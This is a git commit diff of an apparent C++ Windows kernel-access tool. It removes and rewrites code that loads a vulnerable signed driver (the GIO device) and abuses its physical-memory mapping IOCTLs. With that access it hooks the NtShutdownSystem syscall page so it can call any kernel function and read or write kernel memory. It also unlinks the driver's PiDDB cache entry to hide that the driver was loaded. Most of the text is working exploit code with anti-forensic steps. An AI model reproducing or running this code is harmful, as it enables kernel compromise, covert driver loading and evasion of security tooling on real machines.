parent
498006baec
commit
4c3be48919
@ -1,366 +0,0 @@
|
|||||||
#include "kernel_ctx.h"
|
|
||||||
|
|
||||||
namespace nasa
|
|
||||||
{
|
|
||||||
kernel_ctx::kernel_ctx()
|
|
||||||
{
|
|
||||||
if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
|
|
||||||
return;
|
|
||||||
|
|
||||||
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
|
|
||||||
LoadLibraryExA(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
NULL,
|
|
||||||
DONT_RESOLVE_DLL_REFERENCES
|
|
||||||
));
|
|
||||||
|
|
||||||
nt_rva = reinterpret_cast<std::uint32_t>(
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
syscall_hook.first.data(),
|
|
||||||
true
|
|
||||||
));
|
|
||||||
|
|
||||||
nt_page_offset = nt_rva % PAGE_SIZE;
|
|
||||||
std::vector<std::thread> search_threads;
|
|
||||||
//--- for each physical memory range, make a thread to search it
|
|
||||||
for (auto ranges : util::pmem_ranges)
|
|
||||||
search_threads.emplace_back(std::thread(
|
|
||||||
&kernel_ctx::map_syscall,
|
|
||||||
this,
|
|
||||||
ranges.first,
|
|
||||||
ranges.second
|
|
||||||
));
|
|
||||||
|
|
||||||
for (std::thread& search_thread : search_threads)
|
|
||||||
search_thread.join();
|
|
||||||
}
|
|
||||||
|
|
||||||
void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
|
|
||||||
{
|
|
||||||
//if the physical memory range is less then or equal to 2mb
|
|
||||||
if (begin + end <= 0x1000 * 512)
|
|
||||||
{
|
|
||||||
auto page_va = nasa::map_phys(begin + nt_page_offset, end);
|
|
||||||
if (page_va)
|
|
||||||
{
|
|
||||||
// scan every page of the physical memory range
|
|
||||||
for (auto page = page_va; page < page_va + end; page += 0x1000)
|
|
||||||
{
|
|
||||||
if (!is_page_found.load()) // keep scanning until its found
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
|
|
||||||
{
|
|
||||||
//
|
|
||||||
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
|
|
||||||
//
|
|
||||||
psyscall_func.store((void*)page);
|
|
||||||
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandleA(NULL));
|
|
||||||
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
|
|
||||||
|
|
||||||
if (my_proc_base != my_proc_base_from_syscall)
|
|
||||||
continue;
|
|
||||||
|
|
||||||
is_page_found.store(true);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except (EXCEPTION_EXECUTE_HANDLER) {}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
nasa::unmap_phys(page_va, end);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else // else the range is bigger then 2mb
|
|
||||||
{
|
|
||||||
auto remainder = (begin + end) % (0x1000 * 512);
|
|
||||||
|
|
||||||
// loop over 2m chunks
|
|
||||||
for (auto range = begin; range < begin + end; range += 0x1000 * 512)
|
|
||||||
{
|
|
||||||
auto page_va = nasa::map_phys(range + nt_page_offset, 0x1000 * 512);
|
|
||||||
if (page_va)
|
|
||||||
{
|
|
||||||
// loop every page of 2mbs (512)
|
|
||||||
for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
|
|
||||||
{
|
|
||||||
if (!is_page_found.load())
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
|
|
||||||
{
|
|
||||||
//
|
|
||||||
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
|
|
||||||
//
|
|
||||||
psyscall_func.store((void*)page);
|
|
||||||
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
|
|
||||||
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
|
|
||||||
|
|
||||||
if (my_proc_base != my_proc_base_from_syscall)
|
|
||||||
continue;
|
|
||||||
|
|
||||||
is_page_found.store(true);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except (EXCEPTION_EXECUTE_HANDLER) {}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
nasa::unmap_phys(page_va, 0x1000 * 512);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// map the remainder and check each page of it
|
|
||||||
auto page_va = nasa::map_phys(begin + end - remainder + nt_page_offset, remainder);
|
|
||||||
if (page_va)
|
|
||||||
{
|
|
||||||
for (auto page = page_va; page < page_va + remainder; page += 0x1000)
|
|
||||||
{
|
|
||||||
if (!is_page_found.load())
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
|
|
||||||
{
|
|
||||||
//
|
|
||||||
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
|
|
||||||
//
|
|
||||||
psyscall_func.store((void*)page);
|
|
||||||
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
|
|
||||||
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
|
|
||||||
|
|
||||||
if (my_proc_base != my_proc_base_from_syscall)
|
|
||||||
continue;
|
|
||||||
|
|
||||||
is_page_found.store(true);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except (EXCEPTION_EXECUTE_HANDLER) {}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
nasa::unmap_phys(page_va, remainder);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
PEPROCESS kernel_ctx::get_peprocess(DWORD pid) const
|
|
||||||
{
|
|
||||||
if (!pid)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
PEPROCESS proc;
|
|
||||||
static auto get_peprocess_from_pid =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"PsLookupProcessByProcessId"
|
|
||||||
);
|
|
||||||
|
|
||||||
syscall<PsLookupProcessByProcessId>(
|
|
||||||
get_peprocess_from_pid,
|
|
||||||
(HANDLE)pid,
|
|
||||||
&proc
|
|
||||||
);
|
|
||||||
return proc;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
void* kernel_ctx::get_proc_base(unsigned pid) const
|
|
||||||
{
|
|
||||||
if (!pid)
|
|
||||||
return {};
|
|
||||||
|
|
||||||
const auto peproc = get_peprocess(pid);
|
|
||||||
|
|
||||||
if (!peproc)
|
|
||||||
return {};
|
|
||||||
|
|
||||||
static auto get_section_base =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"PsGetProcessSectionBaseAddress"
|
|
||||||
);
|
|
||||||
|
|
||||||
return syscall<PsGetProcessSectionBaseAddress>(
|
|
||||||
get_section_base,
|
|
||||||
peproc
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
void kernel_ctx::rkm(void* buffer, void* address, std::size_t size)
|
|
||||||
{
|
|
||||||
if (!buffer || !address || !size)
|
|
||||||
return;
|
|
||||||
|
|
||||||
size_t amount_copied;
|
|
||||||
static auto mm_copy_memory =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"memcpy"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (mm_copy_memory)
|
|
||||||
{
|
|
||||||
syscall<decltype(&memcpy)>
|
|
||||||
(
|
|
||||||
mm_copy_memory,
|
|
||||||
buffer,
|
|
||||||
address,
|
|
||||||
size
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void kernel_ctx::wkm(void* buffer, void* address, std::size_t size)
|
|
||||||
{
|
|
||||||
if (!buffer || !address || !size)
|
|
||||||
return;
|
|
||||||
|
|
||||||
size_t amount_copied;
|
|
||||||
static auto mm_copy_memory =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"memcpy"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (mm_copy_memory)
|
|
||||||
{
|
|
||||||
syscall<decltype(&memcpy)>
|
|
||||||
(
|
|
||||||
mm_copy_memory,
|
|
||||||
address,
|
|
||||||
buffer,
|
|
||||||
size
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void* kernel_ctx::get_physical(void* virt_addr)
|
|
||||||
{
|
|
||||||
if (!virt_addr)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
static auto mm_get_physical =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"MmGetPhysicalAddress"
|
|
||||||
);
|
|
||||||
|
|
||||||
return syscall<MmGetPhysicalAddress>(mm_get_physical, virt_addr);
|
|
||||||
}
|
|
||||||
|
|
||||||
void* kernel_ctx::get_virtual(void* addr)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
static auto mm_get_virtual =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"MmGetVirtualForPhysical"
|
|
||||||
);
|
|
||||||
|
|
||||||
PHYSICAL_ADDRESS phys_addr;
|
|
||||||
memcpy(&phys_addr, &addr, sizeof(addr));
|
|
||||||
return syscall<MmGetVirtualForPhysical>(mm_get_virtual,phys_addr);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
|
|
||||||
{
|
|
||||||
static const auto piddb_lock =
|
|
||||||
util::memory::get_piddb_lock();
|
|
||||||
|
|
||||||
static const auto piddb_table =
|
|
||||||
util::memory::get_piddb_table();
|
|
||||||
|
|
||||||
if (!piddb_lock || !piddb_table)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
static const auto ex_acquire_resource =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"ExAcquireResourceExclusiveLite"
|
|
||||||
);
|
|
||||||
|
|
||||||
static const auto lookup_element_table =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"RtlLookupElementGenericTableAvl"
|
|
||||||
);
|
|
||||||
|
|
||||||
static const auto release_resource =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"ExReleaseResourceLite"
|
|
||||||
);
|
|
||||||
|
|
||||||
static const auto delete_table_entry =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"RtlDeleteElementGenericTableAvl"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (!ex_acquire_resource || !lookup_element_table || !release_resource)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
PiDDBCacheEntry cache_entry;
|
|
||||||
const auto drv_name = std::wstring(file_name.begin(), file_name.end());
|
|
||||||
cache_entry.time_stamp = timestamp;
|
|
||||||
RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
|
|
||||||
|
|
||||||
//
|
|
||||||
// ExAcquireResourceExclusiveLite
|
|
||||||
//
|
|
||||||
if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
|
|
||||||
return false;
|
|
||||||
|
|
||||||
//
|
|
||||||
// RtlLookupElementGenericTableAvl
|
|
||||||
//
|
|
||||||
PIDCacheobj* found_entry_ptr =
|
|
||||||
syscall<RtlLookupElementGenericTableAvl>(
|
|
||||||
lookup_element_table,
|
|
||||||
piddb_table,
|
|
||||||
reinterpret_cast<void*>(&cache_entry)
|
|
||||||
);
|
|
||||||
|
|
||||||
if (found_entry_ptr)
|
|
||||||
{
|
|
||||||
|
|
||||||
//
|
|
||||||
// unlink entry.
|
|
||||||
//
|
|
||||||
PIDCacheobj found_entry = rkm<PIDCacheobj>(found_entry_ptr);
|
|
||||||
LIST_ENTRY NextEntry = rkm<LIST_ENTRY>(found_entry.list.Flink);
|
|
||||||
LIST_ENTRY PrevEntry = rkm<LIST_ENTRY>(found_entry.list.Blink);
|
|
||||||
|
|
||||||
PrevEntry.Flink = found_entry.list.Flink;
|
|
||||||
NextEntry.Blink = found_entry.list.Blink;
|
|
||||||
|
|
||||||
wkm<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
|
|
||||||
wkm<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
|
|
||||||
|
|
||||||
//
|
|
||||||
// delete entry.
|
|
||||||
//
|
|
||||||
syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
|
|
||||||
|
|
||||||
//
|
|
||||||
// ensure the entry is 0
|
|
||||||
//
|
|
||||||
auto result = syscall<RtlLookupElementGenericTableAvl>(
|
|
||||||
lookup_element_table,
|
|
||||||
piddb_table,
|
|
||||||
reinterpret_cast<void*>(&cache_entry)
|
|
||||||
);
|
|
||||||
|
|
||||||
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
|
|
||||||
return !result;
|
|
||||||
}
|
|
||||||
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,131 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include "../util/util.hpp"
|
|
||||||
#include "../physmeme/physmeme.hpp"
|
|
||||||
#include "../util/hook.hpp"
|
|
||||||
|
|
||||||
namespace nasa
|
|
||||||
{
|
|
||||||
//
|
|
||||||
// offset of function into a physical page
|
|
||||||
// used for comparing bytes when searching
|
|
||||||
//
|
|
||||||
inline std::uint16_t nt_page_offset{};
|
|
||||||
|
|
||||||
//
|
|
||||||
// rva of nt function we are going to hook
|
|
||||||
//
|
|
||||||
inline std::uint32_t nt_rva{};
|
|
||||||
|
|
||||||
//
|
|
||||||
// base address of ntoskrnl (inside of this process)
|
|
||||||
//
|
|
||||||
inline const std::uint8_t* ntoskrnl_buffer{};
|
|
||||||
|
|
||||||
//
|
|
||||||
// has the page been found yet?
|
|
||||||
//
|
|
||||||
inline std::atomic<bool> is_page_found = false;
|
|
||||||
|
|
||||||
//
|
|
||||||
// mapping of a syscalls physical memory (for installing hooks)
|
|
||||||
//
|
|
||||||
inline std::atomic<void*> psyscall_func{};
|
|
||||||
|
|
||||||
//
|
|
||||||
// last mapped virtual address and size
|
|
||||||
//
|
|
||||||
inline std::atomic<void*> last_mapped_virt = nullptr;
|
|
||||||
inline std::atomic<std::uint32_t> last_mapping_size;
|
|
||||||
|
|
||||||
//
|
|
||||||
// you can edit this how you choose, im hooking NtShutdownSystem.
|
|
||||||
//
|
|
||||||
inline const std::pair<std::string_view, std::string_view> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
|
|
||||||
|
|
||||||
class kernel_ctx
|
|
||||||
{
|
|
||||||
friend class mem_ctx;
|
|
||||||
public:
|
|
||||||
kernel_ctx();
|
|
||||||
|
|
||||||
//
|
|
||||||
// read kernel memory into buffer
|
|
||||||
//
|
|
||||||
void rkm(void* buffer, void* address, std::size_t size);
|
|
||||||
|
|
||||||
//
|
|
||||||
// write kernel memory from buffer
|
|
||||||
//
|
|
||||||
void wkm(void* buffer, void* address, std::size_t size);
|
|
||||||
|
|
||||||
template <class T>
|
|
||||||
T rkm(void* addr)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return {};
|
|
||||||
T buffer;
|
|
||||||
rkm((void*)&buffer, addr, sizeof(T));
|
|
||||||
return buffer;
|
|
||||||
}
|
|
||||||
|
|
||||||
template <class T>
|
|
||||||
void wkm(void* addr, const T& data)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return;
|
|
||||||
wkm((void*)&data, addr, sizeof(T));
|
|
||||||
}
|
|
||||||
|
|
||||||
//
|
|
||||||
// gets physical address from virtual
|
|
||||||
//
|
|
||||||
void* get_physical(void* virt_addr);
|
|
||||||
|
|
||||||
//
|
|
||||||
// uses the pfn database to get the virtual address
|
|
||||||
//
|
|
||||||
void* get_virtual(void* virt_addr);
|
|
||||||
|
|
||||||
//
|
|
||||||
// use this to call any function in the kernel
|
|
||||||
//
|
|
||||||
template <class T, class ... Ts>
|
|
||||||
std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
|
|
||||||
{
|
|
||||||
static const auto proc =
|
|
||||||
GetProcAddress(
|
|
||||||
GetModuleHandleA(syscall_hook.second.data()),
|
|
||||||
syscall_hook.first.data()
|
|
||||||
);
|
|
||||||
|
|
||||||
if (!proc || !psyscall_func || !addr)
|
|
||||||
return {};
|
|
||||||
|
|
||||||
hook::make_hook(psyscall_func, addr);
|
|
||||||
auto result = reinterpret_cast<T>(proc)(args ...);
|
|
||||||
hook::remove(psyscall_func);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
//
|
|
||||||
// clear piddb cache of a specific driver
|
|
||||||
//
|
|
||||||
bool clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp);
|
|
||||||
private:
|
|
||||||
|
|
||||||
//
|
|
||||||
// find and map the physical page of a syscall into this process
|
|
||||||
//
|
|
||||||
void map_syscall(std::uintptr_t begin, std::uintptr_t end) const;
|
|
||||||
|
|
||||||
//
|
|
||||||
// get a pointer to an eprocess given process id.
|
|
||||||
//
|
|
||||||
PEPROCESS get_peprocess(DWORD pid) const;
|
|
||||||
|
|
||||||
//
|
|
||||||
// get base address of process (used to compare and ensure we find the right page).
|
|
||||||
//
|
|
||||||
void* get_proc_base(unsigned pid) const;
|
|
||||||
};
|
|
||||||
}
|
|
@ -1,43 +1,34 @@
|
|||||||
#include <iostream>
|
#include "vdm_ctx/vdm_ctx.h"
|
||||||
#include "kernel_ctx/kernel_ctx.h"
|
|
||||||
#include "mem_ctx/mem_ctx.hpp"
|
#include "mem_ctx/mem_ctx.hpp"
|
||||||
|
|
||||||
int __cdecl main(int argc, char** argv)
|
int __cdecl main(int argc, char** argv)
|
||||||
{
|
{
|
||||||
if (!nasa::load_drv())
|
const auto [drv_handle, drv_key] = vdm::load_drv();
|
||||||
|
if (!drv_handle || drv_key.empty())
|
||||||
{
|
{
|
||||||
std::printf("[!] unable to load vulnerable driver... run as admin?\n");
|
std::printf("[!] unable to load vulnerable driver...\n");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
nasa::kernel_ctx kernel;
|
vdm::vdm_ctx vdm;
|
||||||
std::printf("[+] %s mapped physical page -> 0x%p\n", nasa::syscall_hook.first.data(), nasa::psyscall_func.load());
|
nasa::mem_ctx my_proc(vdm);
|
||||||
std::printf("[+] %s page offset -> 0x%x\n", nasa::syscall_hook.first.data(), nasa::nt_page_offset);
|
|
||||||
|
|
||||||
// clear piddb cache table entry for vulnerable driver...
|
const auto ntoskrnl_base =
|
||||||
if (kernel.clear_piddb_cache(nasa::drv_key, util::get_file_header((void*)raw_driver)->TimeDateStamp))
|
reinterpret_cast<void*>(
|
||||||
std::printf("[+] Removed PIDDB Cache entry for physmeme driver...\n");
|
util::get_kmodule_base("ntoskrnl.exe"));
|
||||||
else
|
|
||||||
std::printf("[!] unable to clear PIDDB Cache entry for vulnerable driver...\n");
|
|
||||||
|
|
||||||
if (!nasa::unload_drv())
|
const auto ntoskrnl_pde = my_proc.get_pde(ntoskrnl_base);
|
||||||
|
std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present);
|
||||||
|
std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn);
|
||||||
|
std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page);
|
||||||
|
|
||||||
|
if (!vdm::unload_drv(drv_handle, drv_key))
|
||||||
{
|
{
|
||||||
std::printf("[!] unable to unload vulnerable driver... close all handles?\n");
|
std::printf("[!] unable to unload vulnerable driver...\n");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
const std::pair<unsigned, virt_addr_t> my_proc_data = { GetCurrentProcessId(),
|
my_proc.~mem_ctx(); //needs to be destroyed before vdm::vdm_ctx...
|
||||||
virt_addr_t{ reinterpret_cast<void*>(util::get_kernel_module_base("ntoskrnl.exe")) } };
|
std::printf("[+] press any key to close...\n");
|
||||||
|
std::getchar();
|
||||||
std::cout << "[+] my pid: " << std::hex << my_proc_data.first << std::endl;
|
|
||||||
std::cout << "[+] kernel base: " << std::showbase << std::hex << my_proc_data.second.value << std::endl;
|
|
||||||
|
|
||||||
nasa::mem_ctx my_proc(kernel, my_proc_data.first);
|
|
||||||
const auto ntoskrnl_pde = my_proc.get_pde(my_proc_data.second.value);
|
|
||||||
|
|
||||||
// ntoskrnl is allocated in 2mb large pages :)
|
|
||||||
std::printf("[+] page present -> %d\n", ntoskrnl_pde.second.present);
|
|
||||||
std::printf("[+] page frame number -> 0x%x\n", ntoskrnl_pde.second.pfn);
|
|
||||||
std::printf("[+] large page -> %d\n", ntoskrnl_pde.second.page_size);
|
|
||||||
std::cin.get();
|
|
||||||
}
|
}
|
@ -1,92 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include <windows.h>
|
|
||||||
#include <mutex>
|
|
||||||
#include <cstdint>
|
|
||||||
#include <map>
|
|
||||||
|
|
||||||
#include "../util/util.hpp"
|
|
||||||
#include "../loadup.hpp"
|
|
||||||
#include "../raw_driver.hpp"
|
|
||||||
|
|
||||||
#define MAP_PHYSICAL_MEMORY 0xC3502004
|
|
||||||
#define UNMAP_PHYSICAL_MEMORY 0xC3502008
|
|
||||||
|
|
||||||
#pragma pack ( push, 1 )
|
|
||||||
typedef struct _GIOMAP
|
|
||||||
{
|
|
||||||
unsigned long interface_type;
|
|
||||||
unsigned long bus;
|
|
||||||
std::uintptr_t physical_address;
|
|
||||||
unsigned long io_space;
|
|
||||||
unsigned long size;
|
|
||||||
} GIOMAP;
|
|
||||||
#pragma pack ( pop )
|
|
||||||
|
|
||||||
namespace nasa
|
|
||||||
{
|
|
||||||
inline std::string drv_key;
|
|
||||||
inline HANDLE drv_handle = NULL;
|
|
||||||
|
|
||||||
inline bool load_drv()
|
|
||||||
{
|
|
||||||
const auto [result, key] =
|
|
||||||
driver::load(
|
|
||||||
raw_driver,
|
|
||||||
sizeof(raw_driver)
|
|
||||||
);
|
|
||||||
|
|
||||||
drv_key = key;
|
|
||||||
drv_handle = CreateFile(
|
|
||||||
"\\\\.\\GIO",
|
|
||||||
GENERIC_READ | GENERIC_WRITE,
|
|
||||||
NULL,
|
|
||||||
NULL,
|
|
||||||
OPEN_EXISTING,
|
|
||||||
FILE_ATTRIBUTE_NORMAL,
|
|
||||||
NULL
|
|
||||||
);
|
|
||||||
return drv_handle;
|
|
||||||
}
|
|
||||||
|
|
||||||
inline bool unload_drv()
|
|
||||||
{
|
|
||||||
return CloseHandle(drv_handle) && driver::unload(drv_key);
|
|
||||||
}
|
|
||||||
|
|
||||||
inline std::uintptr_t map_phys(std::uintptr_t addr, std::size_t size)
|
|
||||||
{
|
|
||||||
GIOMAP in_buffer = { 0, 0, addr, 0, size };
|
|
||||||
uintptr_t out_buffer[2] = { 0 };
|
|
||||||
unsigned long returned = 0;
|
|
||||||
|
|
||||||
if (!DeviceIoControl(
|
|
||||||
drv_handle,
|
|
||||||
MAP_PHYSICAL_MEMORY,
|
|
||||||
reinterpret_cast<LPVOID>(&in_buffer),
|
|
||||||
sizeof(in_buffer),
|
|
||||||
reinterpret_cast<LPVOID>(out_buffer),
|
|
||||||
sizeof(out_buffer),
|
|
||||||
&returned, NULL
|
|
||||||
))
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
return out_buffer[0];
|
|
||||||
}
|
|
||||||
|
|
||||||
inline bool unmap_phys(std::uintptr_t addr, std::size_t size)
|
|
||||||
{
|
|
||||||
uintptr_t in_buffer = addr;
|
|
||||||
uintptr_t out_buffer[2] = { sizeof(out_buffer) };
|
|
||||||
unsigned long returned = NULL;
|
|
||||||
|
|
||||||
return DeviceIoControl(
|
|
||||||
drv_handle,
|
|
||||||
UNMAP_PHYSICAL_MEMORY,
|
|
||||||
reinterpret_cast<LPVOID>(&in_buffer),
|
|
||||||
sizeof(in_buffer),
|
|
||||||
reinterpret_cast<LPVOID>(out_buffer),
|
|
||||||
sizeof(out_buffer),
|
|
||||||
&returned, NULL
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
File diff suppressed because it is too large
Load Diff
@ -1,190 +0,0 @@
|
|||||||
/*
|
|
||||||
MIT License
|
|
||||||
|
|
||||||
Copyright (c) 2020 xerox
|
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
||||||
of this software and associated documentation files (the "Software"), to deal
|
|
||||||
in the Software without restriction, including without limitation the rights
|
|
||||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
copies of the Software, and to permit persons to whom the Software is
|
|
||||||
furnished to do so, subject to the following conditions:
|
|
||||||
|
|
||||||
The above copyright notice and this permission notice shall be included in all
|
|
||||||
copies or substantial portions of the Software.
|
|
||||||
|
|
||||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
||||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
||||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
||||||
SOFTWARE.
|
|
||||||
*/
|
|
||||||
|
|
||||||
#pragma once
|
|
||||||
#include <Windows.h>
|
|
||||||
#include <map>
|
|
||||||
#include <atomic>
|
|
||||||
#include <memory>
|
|
||||||
|
|
||||||
#if _M_IX86
|
|
||||||
#define OFFSET_TO_ADDRESS 0x1
|
|
||||||
#elif _M_X64
|
|
||||||
#define OFFSET_TO_ADDRESS 0x2
|
|
||||||
#endif
|
|
||||||
|
|
||||||
namespace hook
|
|
||||||
{
|
|
||||||
static void write_to_readonly(void* addr, void* data, int size)
|
|
||||||
{
|
|
||||||
DWORD old_flags;
|
|
||||||
VirtualProtect((LPVOID)addr, size, PAGE_EXECUTE_READWRITE, &old_flags);
|
|
||||||
memcpy((void*)addr, data, size);
|
|
||||||
VirtualProtect((LPVOID)addr, size, old_flags, &old_flags);
|
|
||||||
}
|
|
||||||
|
|
||||||
class detour
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
detour(void* addr_to_hook, void* jmp_to, bool enable = true)
|
|
||||||
: hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false)
|
|
||||||
{
|
|
||||||
//setup hook
|
|
||||||
memcpy(
|
|
||||||
jmp_code + OFFSET_TO_ADDRESS,
|
|
||||||
&jmp_to,
|
|
||||||
sizeof(jmp_to)
|
|
||||||
);
|
|
||||||
|
|
||||||
//save bytes
|
|
||||||
memcpy(
|
|
||||||
org_bytes,
|
|
||||||
hook_addr,
|
|
||||||
sizeof(org_bytes)
|
|
||||||
);
|
|
||||||
if(enable)
|
|
||||||
install();
|
|
||||||
}
|
|
||||||
|
|
||||||
void install()
|
|
||||||
{
|
|
||||||
if (hook_installed.load())
|
|
||||||
return;
|
|
||||||
|
|
||||||
// mapped page is already read/write
|
|
||||||
memcpy(hook_addr, jmp_code, sizeof(jmp_code));
|
|
||||||
hook_installed.exchange(true);
|
|
||||||
}
|
|
||||||
void uninstall()
|
|
||||||
{
|
|
||||||
if (!hook_installed.load())
|
|
||||||
return;
|
|
||||||
|
|
||||||
// mapped page is already read/write
|
|
||||||
memcpy(hook_addr, org_bytes, sizeof(org_bytes));
|
|
||||||
hook_installed.exchange(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
~detour() { uninstall(); }
|
|
||||||
bool installed() { return hook_installed; }
|
|
||||||
void* hook_address() { return hook_addr; }
|
|
||||||
void* detour_address() { return detour_addr; }
|
|
||||||
private:
|
|
||||||
std::atomic<bool> hook_installed;
|
|
||||||
void *hook_addr, *detour_addr;
|
|
||||||
|
|
||||||
#if _M_IX86
|
|
||||||
/*
|
|
||||||
0: b8 ff ff ff ff mov eax, 0xffffffff
|
|
||||||
5: ff e0 jmp eax
|
|
||||||
*/
|
|
||||||
unsigned char jmp_code[7] = {
|
|
||||||
0xb8, 0x0, 0x0, 0x0, 0x0,
|
|
||||||
0xFF, 0xE0
|
|
||||||
};
|
|
||||||
#elif _M_X64
|
|
||||||
/*
|
|
||||||
0: 48 b8 ff ff ff ff ff ff ff ff movabs rax,0xffffffffffffffff
|
|
||||||
7: ff e0 jmp rax
|
|
||||||
*/
|
|
||||||
unsigned char jmp_code[12] = {
|
|
||||||
0x48, 0xb8,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0xff, 0xe0
|
|
||||||
};
|
|
||||||
#endif
|
|
||||||
std::uint8_t org_bytes[sizeof(jmp_code)];
|
|
||||||
};
|
|
||||||
|
|
||||||
static std::map<void*, std::unique_ptr<detour>> hooks{};
|
|
||||||
|
|
||||||
/*
|
